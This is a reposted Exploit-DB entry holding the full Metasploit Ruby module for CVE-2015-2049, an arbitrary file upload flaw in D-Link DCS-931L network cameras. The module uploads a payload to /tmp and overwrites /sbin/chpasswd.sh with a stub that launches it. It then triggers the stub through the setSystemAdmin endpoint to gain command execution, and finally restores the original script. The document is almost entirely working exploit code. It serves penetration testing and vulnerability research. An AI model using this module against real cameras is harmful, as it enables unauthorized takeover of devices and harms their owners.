D-Link DCS-931L – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2016-01-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39192/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit4 < Msf::Exploit::Remote
    Rank = GreatRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    HttpFingerprint = { :pattern => [ /alphapd/ ] }
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'D-Link DCS-931L File Upload',
    'Description' => %q{
    This module exploits a file upload vulnerability in D-Link DCS-931L
    network cameras. The setFileUpload functionality allows authenticated
    users to upload files to anywhere on the file system, allowing system
    files to be overwritten, resulting in execution of arbitrary commands.
    This module has been tested successfully on a D-Link DCS-931L with
    firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
    D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
    affected, but untested.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security
    'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
    ],
    'Payload' =>
    {
    'Space' => 1024, # File upload
    'DisableNops' => true
    },
    'Platform' => 'linux',
    'Privileged' => false,
    'Targets' =>
    [
    [ 'Linux mipsle Payload',
    {
    'Arch' => ARCH_MIPSLE,
    'Platform' => 'linux'
    }
    ]
    ],
    'DefaultTarget' => 0,
    'References' =>
    [
    [ 'CVE', '2015-2049' ],
    [ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ],
    [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory
    ],
    'DisclosureDate' => 'Feb 23 2015'))
    
    register_options(
    [
    OptString.new('USERNAME',[true, 'Camera username', 'admin']),
    OptString.new('PASSWORD',[false, 'Camera password (default: blank)', ''])
    ], self.class)
    end
    
    def check
    res = send_request_cgi(
    'uri' => normalize_uri('uploadfile.htm'),
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']
    ))
    
    unless res
    vprint_status("#{peer} - The connection timed out.")
    return Exploit::CheckCode::Unknown
    end
    
    if res.code && res.code == 404
    vprint_status("#{peer} - uploadfile.htm does not exist")
    return Exploit::CheckCode::Safe
    elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/
    vprint_error("#{peer} - Authentication failed")
    return Exploit::CheckCode::Detected
    elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/
    return Exploit::CheckCode::Vulnerable
    end
    Exploit::CheckCode::Safe
    end
    
    def exploit
    payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"
    
    # upload payload
    res = upload(payload_path, generate_payload_exe)
    
    unless res
    fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end
    
    if res.code && res.code == 404
    fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
    elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
    print_good("#{peer} - Payload uploaded successfully")
    else
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")
    end
    register_file_for_cleanup(payload_path)
    
    # overwrite /sbin/chpasswd.sh with stub
    res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")
    
    unless res
    fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end
    
    if res.code && res.code == 404
    fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
    elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
    print_good("#{peer} - Stager uploaded successfully")
    else
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
    end
    
    # execute payload using stub
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri('setSystemAdmin'),
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
    'vars_post' => Hash[{
    'ReplySuccessPage' => 'advanced.htm',
    'ReplyErrorPage' => 'errradv.htm',
    'ConfigSystemAdmin' => 'Apply'
    }.to_a.shuffle])
    
    unless res
    fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end
    
    if res.code && res.code == 401
    fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    elsif res.code && res.code == 200 && res.body
    print_good("#{peer} - Payload executed successfully")
    else
    fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")
    end
    end
    
    #
    # Replace chpasswd.sh with original contents
    #
    def cleanup
    chpasswd = <<-EOF
    #!/bin/sh
    #
    # $Id: chpasswd.sh, v1.00 2009-11-05 andy
    #
    # usage: chpasswd.sh <user name> [<password>]
    #
    
    if [ "$1" == "" ]; then
    echo "chpasswd: no user name"
    exit 1
    fi
    
    echo "$1:$2" > /tmp/tmpchpw
    chpasswd < /tmp/tmpchpw
    rm -f /tmp/tmpchpw
    EOF
    res = upload('/sbin/chpasswd.sh', chpasswd)
    if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
    vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully")
    else
    vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default")
    end
    end
    
    #
    # Upload a file to a specified path
    #
    def upload(path, data)
    vprint_status("#{peer} - Writing #{data.length} bytes to #{path}")
    
    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
    post_data= "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"
    post_data << "\r\nreplyuf.htm\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"
    post_data << "\r\nreplyuf.htm\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
    post_data << "\r\n#{path}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
    post_data << "Content-Type: application/octet-stream\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
    post_data << "\r\nUpload File\r\n"
    post_data << "--#{boundary}\r\n"
    
    send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri('setFileUpload'),
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
    'ctype' => "multipart/form-data; boundary=#{boundary}",
    'data' => post_data)
    end
    end